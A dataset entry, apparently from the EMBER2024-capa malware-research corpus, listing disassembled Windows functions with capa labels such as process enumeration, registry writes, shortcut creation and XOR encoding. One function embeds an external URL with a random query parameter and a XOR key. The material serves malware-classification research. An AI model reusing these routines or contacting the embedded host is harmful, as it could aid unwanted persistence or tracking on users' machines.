joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412630
Capabilities:
Get disk information
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa38
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, eax
push esi
mov esi, dword [ebp + 8]
push 0
push 0x4c94e4
mov dword [ebp - 0xa38], eax
call fcn.00407a30
push 0x20a
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00459150
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x105
push eax
push esi
call sub.PSAPI.DLL_GetProcessImageFileNameW
test eax, eax
jne 0x41269d
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434840
mov esp, ebp
pop ebp
ret 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
push 0
push 0
call ebx
mov edi, eax
test edi, edi
je 0x4126f1
xor ecx, ecx
lea esi, [edi + 1]
mov eax, esi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00434aea
push esi
mov esi, eax
mov dword [ebp - 0xa34], eax
push 0
push esi
call fcn.00459150
add esp, 0x10
push esi
push edi
call ebx
test eax, eax
jne 0x412706
push esi
call fcn.00434af3
add esp, 4
pop edi
pop ebx
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434840
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x4b0a5c]
mov dword [ebp - 0xc], eax
mov ax, word [0x4b0a60]
push 0x208
mov word [ebp - 8], ax
call fcn.00434aea
add esp, 4
mov ebx, eax
mov cx, word [esi]
lea eax, [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0x104
push ebx
push eax
mov word [ebp - 0xc], cx
call edi
test eax, eax
jne 0x41278a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x412819
push ebx
call fcn.00434af3
xor ecx, ecx
mov eax, 1
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00434aea
add esp, 8
mov ebx, eax
lea eax, [ebp - 0xc]
push 1
push ebx
push eax
call edi
test eax, eax
je 0x412819
mov edi, ebx
lea ecx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x412790
sub edi, ecx
lea eax, [ebp - 0x218]
sar edi, 1
push edi
push ebx
push eax
call fcn.00461674
add esp, 0xc
test eax, eax
je 0x4127c9
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4127b4
cmp word [esi], ax
je 0x412819
jmp 0x412727
lea eax, [ebp - 0x218]
lea eax, [eax + edi*2]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x4b0a64
lea eax, [ebp - 0xa18]
push 0x400
push eax
call fcn.00412c20
add esp, 0x14
lea eax, [ebp - 0xa18]
lea ecx, [ebp - 0xa30]
push eax
call fcn.004078d0
mov ecx, dword [ebp - 0xa38]
push eax
call fcn.00409bd0
lea ecx, [ebp - 0xa30]
call fcn.00407890
mov eax, dword [ebp - 0xa34]
push eax
call fcn.00434af3
push ebx
call fcn.00434af3
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov al, 1
pop edi
pop ebx
pop esi
call fcn.00434840
mov esp, ebp
pop ebp
ret 8
Function at 0x412850
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push edi
mov edi, dword [ebp + 8]
push 0x208
push 0
push eax
mov dword [ebp - 0x214], 0
call fcn.00459150
add esp, 0xc
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4128d8
lea eax, [ebp - 0x218]
push eax
push 4
lea eax, [ebp - 0x210]
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x4128d1
push 0x104
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x210]
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov dword [edi + 0x14], 7
mov dword [edi + 0x10], 0
mov word [edi], ax
cmp word [ebp - 0x20c], ax
jne 0x4128f8
xor ecx, ecx
jmp 0x412910
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412901
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x20c]
mov ecx, edi
push eax
call fcn.00407a30
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00434840
mov esp, ebp
pop ebp
ret 8
Function at 0x412940
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a96c6
mov eax, dword fs:[0]
push eax
sub esp, 0x470
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x478], ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x230]
xor eax, eax
mov dword [ebp - 0x47c], 0
push eax
push 0x4c94e4
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
call fcn.00407a30
push 0x22c
lea eax, [ebp - 0x474]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.00459150
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x4129fe
push 0x4c94e4
mov ecx, ebx
call fcn.004078d0
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x412bbd
inc ecx
push ecx
jmp 0x412bac
lea eax, [ebp - 0x474]
mov dword [ebp - 0x474], 0x22c
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x412b77
nop dword [eax]
xor eax, eax
mov dword [ebp - 0x234], 7
mov dword [ebp - 0x238], 0
mov word [ebp - 0x248], ax
cmp word [ebp - 0x450], ax
jne 0x412a4a
xor ecx, ecx
jmp 0x412a62
lea ecx, [ebp - 0x450]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412a53
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x248]
call fcn.00407a30
mov esi, dword [ebp - 0x46c]
mov byte [ebp - 4], 1
cmp esi, dword [ebp + 0xc]
je 0x412ac0
mov eax, dword [ebp - 0x234]
mov byte [ebp - 4], 0
cmp eax, 8
jb 0x412aa6
inc eax
lea ecx, [ebp - 0x248]
push eax
push dword [ebp - 0x248]
call fcn.00407b30
lea eax, [ebp - 0x474]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x412a20
jmp 0x412b77
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00459150
add esp, 0xc
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x412b65
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.004079e0
lea eax, [ebp - 0x230]
push 0x4c94e4
push eax
call fcn.004119b0
add esp, 8
test al, al
je 0x412b65
mov ecx, dword [ebp - 0x478]
lea eax, [ebp - 0x230]
push eax
push esi
call fcn.00412630
lea eax, [ebp - 0x230]
push 0x4c94e4
push eax
call fcn.004119b0
add esp, 8
test al, al
je 0x412b65
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x230]
call fcn.004079e0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x248]
call fcn.00407890
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov dword [ebx + 0x14], 7
mov dword [ebx + 0x10], 0
mov ecx, ebx
mov word [ebx], ax
lea eax, [ebp - 0x230]
push eax
call fcn.00409f30
mov eax, dword [ebp - 0x21c]
cmp eax, 8
jb 0x412bbd
inc eax
push eax
push dword [ebp - 0x230]
lea ecx, [ebp - 0x230]
call fcn.00407b30
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00434840
mov esp, ebp
pop ebp
ret 8
Function at 0x413700
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push edi
push 0x208
push 0
push eax
mov dword [ebp - 0x210], 0
call fcn.00459150
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0
push 0x2b
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x413754
mov eax, dword [0x4c94c4]
lea edx, [ebp - 0x20c]
mov dword [edi], eax
add edx, 0xfffffffe
mov cx, word [edx + 2]
lea edx, [edx + 2]
test cx, cx
jne 0x413770
mov ecx, dword [0x4b04e0]
lea edi, [ebp - 0x20c]
mov dword [edx], ecx
add edi, 0xfffffffe
mov ecx, dword [0x4b04e4]
mov dword [edx + 4], ecx
mov ecx, dword [0x4b04e8]
mov dword [edx + 8], ecx
mov ecx, dword [0x4b04ec]
mov dword [edx + 0xc], ecx
nop dword [eax + eax]
mov cx, word [edi + 2]
lea edi, [edi + 2]
test cx, cx
jne 0x4137b0
mov dword [edi], eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00448931
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
add esp, 4
mov word [esi], ax
cmp word [ebp - 0x20c], ax
jne 0x4137ed
xor ecx, ecx
jmp 0x413805
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4137f6
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x20c]
mov ecx, esi
push eax
call fcn.00407a30
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00434840
mov esp, ebp
pop ebp
ret 4
Function at 0x417a00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00417390

Function at 0x417bc0
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4aa250
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], 0
mov word [ebp - 0x40], ax
cmp word [edx], ax
jne 0x417c0a
xor ecx, ecx
jmp 0x417c1f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x417c10
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.00407a30
push 1
push 0x4c94c4
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0
call fcn.00409fa0
push 7
push 0x4b04e0
lea ecx, [ebp - 0x40]
call fcn.00409fa0
push 4
push 0x4b15c8
lea ecx, [ebp - 0x40]
call fcn.00409fa0
cmp dword [0x4d6a60], 0
jne 0x417c6b
call fcn.0040bbf0
mov ecx, dword [0x4d6a60]
call fcn.0043a004
mov edx, eax
mov dword [ebp - 0x14], 7
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
cmp word [edx], ax
jne 0x417c95
xor ecx, ecx
jmp 0x417caf
mov ecx, edx
lea esi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x417ca0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00407a30
push 0xb
push 0x4b14b4
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00409fa0
cmp dword [ebp - 0x14], 8
lea edi, [ebp - 0x28]
lea esi, [ebp - 0x40]
cmovae edi, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 8
push 0
cmovae esi, dword [ebp - 0x40]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x417d58
lea eax, [ebp - 0x44]
push eax
push 0x4b360c
push 1
push 0
push 0x4b361c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x417d52
mov eax, dword [ebp - 0x44]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x44]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x48]
push edx
push 0x4b35fc
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x417d49
mov eax, dword [ebp - 0x48]
push 0
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x417d6d
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00407b30
xor eax, eax
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
cmp eax, 8
jb 0x417d96
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00407b30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00434840
mov esp, ebp
pop ebp
ret 4
Function at 0x417dc0
Capabilities:
Delete file
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
push 0x208
push 0
push eax
call fcn.00459150
push 0x208
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00459150
push edi
push esi
lea eax, [ebp - 0x20c]
push str._s_s.lnk
push eax
call fcn.0040a880
add esp, 0x28
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
push esi
lea eax, [ebp - 0x20c]
push str._s_s.url
push eax
call fcn.0040a880
add esp, 0x10
cmp dword [0x4d6a60], 0
jne 0x417e4c
call fcn.0040bbf0
mov ecx, dword [0x4d6a60]
push edi
call fcn.0043a0ce
push eax
lea eax, [ebp - 0x414]
push str._s_s.url
push eax
call fcn.0040a880
push 0x208
lea eax, [ebp - 0x61c]
push 0
push eax
call fcn.00459150
add esp, 0x1c
lea eax, [ebp - 0x61c]
push 0
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edi, [ebp - 0x61c]
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x417ea0
lea eax, [ebp - 0x20c]
mov ecx, 0x10
push eax
push ebx
mov esi, str.Internet_Exploreriexplore.exe
push 0x4b1660
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push str.InternetShortcut
call esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push eax
push str.IconFile
push str.InternetShortcut
call esi
lea eax, [ebp - 0x20c]
push eax
push 0x4b1254
push str.HotKey
push str.InternetShortcut
call esi
lea eax, [ebp - 0x20c]
push eax
push 0x4b1254
push str.IDList
push str.InternetShortcut
call esi
lea eax, [ebp - 0x20c]
push eax
push 0x4b1254
push str.IconIndex
push str.InternetShortcut
call esi
lea eax, [ebp - 0x414]
push eax
push ebx
push 0x4b1660
push str.InternetShortcut
call esi
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x61c]
push eax
push str.IconFile
push str.InternetShortcut
call esi
lea eax, [ebp - 0x414]
push eax
push 0x4b1254
push str.HotKey
push str.InternetShortcut
call esi
lea eax, [ebp - 0x414]
push eax
push 0x4b1254
push str.IDList
push str.InternetShortcut
call esi
lea eax, [ebp - 0x414]
push eax
push 0x4b1254
push str.IconIndex
push str.InternetShortcut
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434840
mov esp, ebp
pop ebp
ret 0xc
Function at 0x418730
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
push esi
mov esi, ecx
je 0x41875f
cmp dword [ebp + 0xc], 0
je 0x418757
call fcn.00417fc0
cmp dword [ebp + 0x10], 0
je 0x41879f
jmp 0x418764
call fcn.00417fc0
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00459150
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0
push 0x10
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x41879f
lea eax, [ebp - 0x20c]
mov ecx, esi
push eax
call fcn.00417bc0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00434840
mov esp, ebp
pop ebp
ret 0xc
Function at 0x419e10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 8]
push eax
push 0x20119
push 0
push str.SoftWare
push reloc.WS2_32.dll_bind
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call esi
test eax, eax
jne 0x419e97
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.Especially
push dword [ebp - 8]
call esi
test eax, eax
jne 0x419e97
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x208
push eax
push dword [ebp + 0xc]
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x419e8d
push eax
call esi
mov eax, dword [ebp - 8]
test eax, eax
je 0x419e97
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x41a000
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0xf013f
push 0
push str.SoftWare
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41a08d
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.Especially
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x41a058
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 8
push esi
mov esi, dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 4]
call esi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x41d760
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4aabc8
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x48], ecx
push 0x47
push str.http:__lwcfg.yebankeji.cn_pdf_easy_89389b7339dcda7928c95f7d6a8444f0.bfa
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.0040c340
cmp dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
je 0x41d902
push 0x2710
push 0x3e8
call fcn.004499cf
cdq
push edx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.004497dc
add esp, 0x14
push 6
push str._rand
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.004103b0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x28]
call fcn.004102b0
lea eax, [ebp - 0x28]
push eax
call fcn.00440529
add esp, 4
lea ecx, [ebp - 0x7c]
call fcn.0044385e
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 2
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.00443949
lea ecx, [ebp - 0x7c]
call fcn.00443cf4
mov edi, eax
mov ecx, 1
mov eax, dword [edi + 4]
sub eax, dword [edi]
cmove eax, ecx
mov dword [ebp - 0x44], eax
lea esi, [eax + 1]
push esi
call fcn.00434aea
push esi
mov ebx, eax
push 0
push ebx
call fcn.00459150
mov ecx, dword [edi + 4]
add esp, 0x10
xor esi, esi
xor edx, edx
sub ecx, dword [edi]
je 0x41d893
nop dword [eax]
mov eax, dword [edi]
mov al, byte [eax + edx]
xor al, byte [esi + str.013504b5f4737ad1193c9ab5594434e7]
mov byte [edx + ebx], al
lea eax, [esi + 1]
xor esi, esi
inc edx
cmp eax, 0x20
cmovl esi, eax
mov eax, dword [edi + 4]
sub eax, dword [edi]
cmp edx, eax
jb 0x41d870
push dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
push ebx
call fcn.0041d970
mov esi, eax
test ebx, ebx
je 0x41d8ae
push ebx
call fcn.00434af3
add esp, 4
lea ecx, [ebp - 0x7c]
call fcn.004438f7
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x41d904
mov ecx, dword [ebp - 0x40]
inc eax
cmp eax, 0x1000
jb 0x41d8f7
test cl, 0x1f
je 0x41d8d3
call fcn.0045cc11
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x41d8df
call fcn.0045cc11
sub ecx, eax
cmp ecx, 4
jae 0x41d8eb
call fcn.0045cc11
cmp ecx, 0x23
jbe 0x41d8f5
call fcn.0045cc11
mov ecx, eax
push ecx
call fcn.0043483b
add esp, 4
jmp 0x41d904
xor esi, esi
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x41d94e
mov ecx, dword [ebp - 0x28]
inc eax
cmp eax, 0x1000
jb 0x41d945
test cl, 0x1f
je 0x41d921
call fcn.0045cc11
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x41d92d
call fcn.0045cc11
sub ecx, eax
cmp ecx, 4
jae 0x41d939
call fcn.0045cc11
cmp ecx, 0x23
jbe 0x41d943
call fcn.0045cc11
mov ecx, eax
push ecx
call fcn.0043483b
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00434840
mov esp, ebp
pop ebp
ret
Function at 0x423430
Capabilities:
Check if file exists
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x4d5210]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 0x414]
push esi
push edi
push 0x208
push 0
push eax
call fcn.00459150
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00459150
mov ecx, dword [ebp + 8]
add esp, 0x18
cmp dword [ecx + 0x14], 8
jb 0x42347d
mov ecx, dword [ecx]
lea edx, [ebp - 0x414]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x423483
cmp dword [ebx + 0x14], 8
jb 0x42349e
mov edx, dword [ebx]
jmp 0x4234a0
mov edx, ebx
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4234a2
lea edi, [ebp - 0x414]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4234c0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0xc]
cmp dword [ecx + 0x14], 8
jb 0x4234e5
mov ecx, dword [ecx]
lea edx, [ebp - 0x20c]
nop dword [eax + eax]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x4234f0
cmp dword [ebx + 0x14], 8
jb 0x423509
mov ebx, dword [ebx]
mov esi, ebx
nop dword [eax + eax]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x423510
lea edi, [ebp - 0x20c]
sub ebx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x423526
mov ecx, ebx
lea eax, [ebp - 0x20c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileW]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push eax
lea eax, [ebp - 0x414]
push eax
call ebx
test eax, eax
jne 0x4235fe
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea eax, [ebp - 0x414]
push eax
call edi
test eax, eax
je 0x4235fe
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.0044847f
push 0x208
lea eax, [ebp - 0x61c]
push 0
push eax
call fcn.00459150
push esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push str._s.bak_d
push eax
call fcn.0040a880
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00461d03
add esp, 0x2c
lea eax, [ebp - 0x61c]
push 5
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
cmp esi, 0xa
jge 0x4235fe
push 0
lea eax, [ebp - 0x20c]
inc esi
push eax
lea eax, [ebp - 0x414]
push eax
call ebx
test eax, eax
je 0x423567
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434840
mov esp, ebp
pop ebp
ret 0xc